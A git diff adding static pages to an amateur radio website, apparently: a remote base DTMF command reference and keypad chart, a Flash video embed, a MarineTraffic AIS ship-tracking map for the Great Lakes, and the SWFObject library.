+       <TR><TH ALIGN="left" VALIGN="top" WIDTH="150">Command:</TH>                     <TD>Receive Only</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 1</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       Use this command to switch the remote base from receive/transmit to receive only mode. 
+                       (Transmitting into the repeater will not cause the remote base to transmit.) The remote base 
+                       will always start in receive only mode, so this command is not necessary to begin receiving 
+                       after turning on the remote base system.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Set Radio Mode</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 1 {mode}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>             
+               <TD>
+                       This command sets the mode of operation for the radio.
+                       <P>
+                       Where {mode} is:   1 = USB, 2 = LSB, 3 = AM, 4 = FM, 5 = CW
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Receive/Transmit</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 2</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command places the remote base in receive/transmit mode. When in receive/transmit mode, 
+                       transmitting into the repeater will cause the remote base to transmit. To return to receive 
+                       only mode, use command 7 1.
+                       <P>
+                       <B>Note:</B> You can only select frequencies on which you are allowed to transmit when in 
+                       receive/transmit mode.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Toggle PL Receive</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 2 1</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command toggles PL receive on and off. When this PL receive mode is selected, the 
+                       receiver squelch will not open unless the correct PL tone is being received.
+                       <P>
+                       <B>Note:</B> This will only work on the 50 MHz, 144 MHz, 220 MHz and 440 MHz bands when in 
+                       FM mode and with PL transmit enabled (7 2 2).
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Toggle PL Transmit</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 2 2</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command toggles PL transmit on and off. When PL transmit mode is selected, the remote 
+                       base will transmit the selected PL tone.
+                       <P>
+                       <B>Note:</B> This will only work on the 50 MHz, 144 MHz, 220 MHz and 440 MHz bands when in FM mode.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn Off PL Receive and Transmit</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 2 3</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command turns off both receive and transmit PL modes. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Announce Receive and Transmit PL Settings</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 2 8</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       When you enter this command, the remote base system will announce the current PL receive and 
+                       transmit settings.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Set PL Frequency</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 2 {Hz}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command sets the PL frequency. The value {Hz} is the four digits of the PL frequency. 
+                       For example "7 2 1072" will set the PL frequency to 107.2 Hz. Only standard PL tone frequencies may be used. 
+                       <P>
+                       <B>Note:</B> DO NOT include a "*" for decimal point as is the case when setting the radio frequency. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn Off the Remote Base System</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 3</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       Enter this command to turn off and exit the remote base system. This will return to you normal 
+                       repeater operation and the normal set of repeater control commands. The remote base will not 
+                       transmit when off, so there is no need to turn off receive/transmit mode (using 7 1) prior to 
+                       turning off the remote base system.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Down 100 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 4</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting down 100 Hz. Use this command to make 
+                       small adjustments to the remote base frequency. If you are in receive/transmit mode, you will 
+                       not be allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Select VFO "A"</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 5</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+               <TD>
+                       This command selects VFO "A". The remote base system has two VFO's "A" and "B". Switching VFOs 
+                       will restore the remote base to the frequency and mode it was on when that VFO was last used.
+                       <P>
+                       <B>Note:</B> The remote base system uses separate radios for HF and VHF/UHF operation. When 
+                       switching VFO's results in the remote base having to switch radios, the system will automatically 
+                       turn off the remote base, reconfigure it for the correct radio, and ask you to turn it back on. 
+                       (For reasons beyond the scope of this document, it was not possible to make this process fully automatic.)
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Recall Memory</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 5 {memory #}    (Memory numbers 1 or 2 digits 0 through 99)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to recall the contents of the specified memory into the current VFO and set 
+                       the frequency, mode, offset and other data that was stored in that memory.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Up 100 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 6</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting up 100 Hz. Use this command to make 
+                       small adjustments to the remote base frequency.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Up 100 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 6</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting up 100 Hz. Use this command to make 
+                       small adjustments to the remote base frequency. If you are in receive/transmit mode, you will not be 
+                       allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Down 500 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 7</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting down 500 Hz. Use this command to make 
+                       small adjustments to the remote base frequency. If you are in receive/transmit mode, you will 
+                       not be allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Scan Up or Down in Frequency</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 7 {speed}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command with the desired speed will cause the remote base to scan up or 
+                       down at various speeds. The remote base will continue to scan, stopping periodically to 
+                       announce the frequency. You can stop scanning by transmitting briefly into the repeater. 
+                       <P>
+                       Where {speed} is: 
+                       <TABLE BORDER="0">
+                               <TR><TD>1 = Down Slow</TD>              <TD>3 = Up Slow</TD></TR>
+                               <TR><TD>4 = Down Medium</TD>            <TD>6 = Up Medium</TD></TR>
+                               <TR><TD>7 = Down Fast</TD>              <TD>9 = Up Fast</TD></TR>
+                       </TABLE>
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Announce Current Settings</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 8</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command causes the remote base to announce the current frequency, offset (if not zero), 
+                       and the selected VFO. 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn Off Transmit Offset</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 8 0</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command will turn off any current transmit offset setting (such as a repeater offset). 
+                       After entering this command, the remote base will transmit on the same frequency as it receives.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn On Transmit Offset</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 8 1</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>             
+               <TD>
+                       This command will turn on transmit off set and use the offset frequency that was last set. 
+                       After entering this command, the remote base will transmit on a frequency that is different 
+                       from the receive frequency by the amount of the frequency offset set with command "7 8 1 x x". 
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn On Transmit Offset and Set Offset Direction</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 8 1 {direction}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command is similar to "7 8 1" except that it specifies the offset direction, either 
+                       plus or minus, from the receive frequency.
+                       <P>
+                       Where {direction} is:   0 = Positive Offset, 1 = Negative Offset
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Turn On Transmit Offset and Set Direction and Size</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 8 1 {direction} {size}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting down 100 Hz. Use this command 
+                       to make small adjustments to the remote base frequency. If you are in receive/transmit mode, 
+                       you will not be allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+                       <P>
+                       Where {size} is:
+                       <TABLE BORDER="0">
+                               <TR><TD>0 = 0 KHz</TD>          <TD>5 = 1.6 MHz</TD></TR>
+                               <TR><TD>1 = 100 KHz</TD>        <TD>6 = 1.7 MHz</TD></TR>
+                               <TR><TD>2 = 500 KHz</TD>        <TD>7 = 5 MHz</TD></TR>
+                               <TR><TD>3 = 600 KHz</TD>        <TD>8 = 12 MHz</TD></TR>
+                               <TR><TD>4 = 1 MHz</TD>          <TD>9 = 20 MHz</TD></TR>
+                       </TABLE>
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Up 500 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 9</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting up 500 Hz. Use this command to 
+                       make small adjustments to the remote base frequency. If you are in receive/transmit mode, 
+                       you will not be allowed to go beyond the edge of the permitted transmit frequency range 
+                       on the current band.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Select VFO "B"</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 0</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       This command selects VFO "B". The remote base system has two VFO's "A" and "B". 
+                       Switching VFOs will restore the remote base to the frequency and mode it was on when 
+                       that VFO was last used.
+                       <P>
+                       <B>Note:</B> The remote base system uses separate radios for HF and VHF/UHF operation. 
+                       When switching VFO's results in the remote base having to switch radios, the 
+                       system will automatically turn off the remote base, reconfigure it for the correct 
+                       radio, and ask you to turn it back on. (For reasons beyond the scope of this document, 
+                       it was not possible to make this process fully automatic.)
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Write Memory</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 5 {memory #}    (Memory numbers are 1 or 2 digit 0 through 99)</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to write the contents of the specified memory into the current VFO 
+                       and set the frequency, mode, offset and other data that was stored in that memory.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Up 20 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 A</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting up 20 Hz. Use this 
+                       command to make small adjustments to the remote base frequency. If you are in 
+                       receive/transmit mode, you will not be allowed to go beyond the edge of the 
+                       permitted transmit frequency range on the current band.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Bump Frequency Down 20 Hz</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 B</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Entering this command will change the current VFO setting down 20 Hz. Use this 
+                       command to make small adjustments to the remote base frequency. If you are in 
+                       receive/transmit mode, you will not be allowed to go beyond the edge of the permitted 
+                       transmit frequency range on the current band.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+
+       <TR><TH ALIGN="left" VALIGN="top">Command:</TH>                 <TD>Enter Frequency</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH>        <TD>7 {frequency}</TD></TR>
+       <TR><TH ALIGN="left" VALIGN="top">Description:</TH>     
+               <TD>
+                       Use this command to set the frequency of the remote base. Use the "*" key to specify 
+                       the decimal point between MHz and KHz. If you do not use the "*" key, it will not be 
+                       interpreted as a frequency.
+                       <P>
+                       Where {frequency} is:   MHz followed by "*" followed by KHz
+                       <P>
+                       Examples:
+                       <TABLE BORDER="0">
+                               <TR><TD>7 14*292</TD>           <TD>14.292 MHz</TD></TR>
+                               <TR><TD>7 146*68</TD>           <TD>146.680 MHz</TD></TR>
+                               <TR><TD>7 0*100</TD>            <TD>100 KHz (Loran)</TD></TR>
+                       </TABLE>
+                       <P>
+                       <B>Note:</B> The remote base system uses separate radios for HF and VHF/UHF operation. 
+                       When the frequency change results in the remote base having to switch radios, the 
+                       system will automatically turn off the remote base, reconfigure it for the correct 
+                       radio, and ask you to turn it back on. (For reasons beyond the scope of this document, 
+                       it was not possible to make this process fully automatic.)
+                       <P>
+                       <B>Note:</B> If the remote base is in receive/transmit mode, it will not permit you to 
+                       select a frequency on which you are not permitted to transmit. To select such a frequency, 
+                       use "7 1" to return to receive only mode, then select the desired frequency.
+                       <P>&nbsp;
+               </TD>
+       </TR>
+
+</TABLE>
+<P>
+&nbsp;
+<P>
+
+<A NAME="RemRef"></A>
+<H2>Remote Base Quick Reference Guide</H2>
+<P>
+The following guide is a quick reference for Remote Base commands. It is arranged to be similar to the 
+layout of a normal Touch Tone keypad. This reference chart should make sense if you are familiar with the 
+Remote Base commands listed above. Please use this only as a quick reference, and not as a guide to 
+Remote Base operation.
+<P>
+<TABLE BORDER="1">
+       <TR>
+               <TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">71<FONT size="1"></TD>           <TD><FONT size="1">RX Only<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">71 {Mode}<FONT size="1"></TD>    <TD><FONT size="1">HF Mode<BR> 
+                                                               (Mode = 1 USB, 2 LSB, 3 AM, 4 FM, 5 CW)<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">771<FONT size="1"></TD>  <TD><FONT size="1">Scan Down Slow<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">72<FONT size="1"></TD>           <TD><FONT size="1">RX and TX<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">72 {Hz}<FONT size="1"></TD>      <TD><FONT size="1">Set PL Frequency<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">721<FONT size="1"></TD>  <TD><FONT size="1">RX PL On/Off<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">722<FONT size="1"></TD>  <TD><FONT size="1">TX PL On/Off<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">723<FONT size="1"></TD>  <TD><FONT size="1">PL Off<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">728<FONT size="1"></TD>  <TD><FONT size="1">Recall PL<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">73<FONT size="1"></TD>           <TD><FONT size="1">Exit HF Mode<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">773<FONT size="1"></TD>  <TD><FONT size="1">Scan Up Slow<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">7A<FONT size="1"></TD>           <TD><FONT size="1">Bump Up 20 Hz<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD>
+       </TR><TR>
+               <TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">74<FONT size="1"></TD>           <TD><FONT size="1">Bump Down 100Hz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">74 {cmd}<FONT size="1"></TD>     <TD><FONT size="1">Execute Command<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">774<FONT size="1"></TD>  <TD><FONT size="1">Scan Down Medium<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">75<FONT size="1"></TD>           <TD><FONT size="1">Select VFO A<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">75 {mem}<FONT size="1"></TD>     <TD><FONT size="1">Recall Memory<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">76<FONT size="1"></TD>           <TD><FONT size="1">Bump Up 100 Hz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">776<FONT size="1"></TD>  <TD><FONT size="1">Scan Up Medium<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">7B<FONT size="1"></TD>           <TD><FONT size="1">Bump Down 20 Hz<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD>
+       </TR><TR>
+               <TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">77<FONT size="1"></TD>           <TD><FONT size="1">Bump Down 500 Hz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">777<FONT size="1"></TD>  <TD><FONT size="1">Scan Down Fast<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">78<FONT size="1"></TD>           <TD><FONT size="1">Recall Current VFO<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">780<FONT size="1"></TD>  <TD><FONT size="1">TX Offset Off<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">781<FONT size="1"></TD>  <TD><FONT size="1">TX Offset On<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">781{x} [{y}]<FONT size="1"></TD> <TD><FONT size="1">TX Offset Setting<BR>
+                                                               (x = 0 Plus, 1 Minus)<FONT size="1"></TD>
+
+                               <TR><TD><FONT size="1">0 = 0 KHz<FONT size="1"></TD>    <TD><FONT size="1">1 = 100 KHz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">2 = 500 KHz<FONT size="1"></TD><TD><FONT size="1">3 = 600 KHz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">4 = 1 MHz<FONT size="1"></TD>    <TD><FONT size="1">5 = 1.6 MHz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">6 = 1.7 MHz<FONT size="1"></TD><TD><FONT size="1">7 = 5 MHz<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">8 = 12 MHz<FONT size="1"></TD>   <TD><FONT size="1">9 = 20 MHz<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">79<FONT size="1"></TD>           <TD><FONT size="1">Bump Up 500 Hz<FONT size="1"></TD>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       &nbsp;
+               </TD>
+       </TR><TR>
+               <TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">*<FONT size="1"></TD>            <TD><FONT size="1">Use as decimal point<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">70<FONT size="1"></TD>           <TD><FONT size="1">Recall VFO B<FONT size="1"></TD></TR>
+                               <TR><TD><FONT size="1">70 {mem}<FONT size="1"></TD>     <TD><FONT size="1">Write Memory<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       <TABLE BORDER="0">
+                               <TR><TD><FONT size="1">#<FONT size="1"></TD>            <TD><FONT size="1">Force Execution<FONT size="1"></TD></TR>
+                       </TABLE>
+               </TD><TD VALIGN="top">
+                       &nbsp;
+               </TD>
+       </TR>
+</TABLE>
+
+
+       </BODY>
+</HTML>
diff --git a/static/60.phtml b/static/60.phtml
new file mode 100644 (file)
index 0000000..b26f2d6
--- /dev/null
@@ -0,0 +1,18 @@
+<html>
+       <head>
+<script type="text/javascript" src="http://www.longtailvideo.com/jw/js/ieclasser.js"></script>
+
+       </head>
+       <body>
+       <script type="text/javascript">
+               var s1 = new SWFObject("/jw/embed/player.swf","player","470","320","9","#ffffff");
+               s1.addParam("allowfullscreen","true");
+               s1.addParam("allowscriptaccess","always");
+               s1.addParam("wmode","opaque");
+               s1.addParam("flashvars","file=http://content.bitsontherun.com/videos/3ta6fhJQ.flv");
+               s1.write("preview");
+       </script><br />
+
+
+       </body>
+</html>
diff --git a/static/62.phtml b/static/62.phtml
new file mode 100644 (file)
index 0000000..fa583ea
--- /dev/null
@@ -0,0 +1,21 @@
+<div style="padding: 4px;">
+<script type="text/javascript">
+        width='100%';
+        height=500;
+        border=2;
+        notation=false; 
+        shownames=true;
+        latitude=45.6;
+        longitude=-84.7;
+        zoom=8;
+        maptype=3;
+        trackvessel=0;
+        fleet='';
+        remember=false;
+</script>
+<script type="text/javascript" src="http://www.marinetraffic.com/ais/embed.js"></script>
+</div>
+<p>
+We would like to cover additional areas of the Great Lakes. If you have a high-profile 
+antenna site and would like to participate, contact me at shiptracking@n8dnx.org or see 
+<a href="http://www.marinetraffic.com/ais/addyourarea.aspx?level1=150">THIS PAGE</a>.
diff --git a/static/logo_real.gif b/static/logo_real.gif
new file mode 100755 (executable)
index 0000000..083532a
Binary files /dev/null and b/static/logo_real.gif differ
diff --git a/static/player.swf b/static/player.swf
new file mode 100644 (file)
index 0000000..d333d13
Binary files /dev/null and b/static/player.swf differ
diff --git a/static/qt_icon.gif b/static/qt_icon.gif
new file mode 100755 (executable)
index 0000000..da692e6
Binary files /dev/null and b/static/qt_icon.gif differ
diff --git a/static/swfobject.js b/static/swfobject.js
new file mode 100644 (file)
index 0000000..e7edd42
--- /dev/null
@@ -0,0 +1,8 @@
+/**
+ * SWFObject v1.5: Flash Player detection and embed - http://blog.deconcept.com/swfobject/
+ *
+ * SWFObject is (c) 2007 Geoff Stearns and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ */
+if(typeof deconcept=="undefined"){var deconcept=new Object();}if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();}deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));}this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){deconcept.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};deconcept.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&");if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\">";_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";var _1d=this.getParams();for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}var _1f=this.getVariablePairs().join("&");if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new deconcept.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return 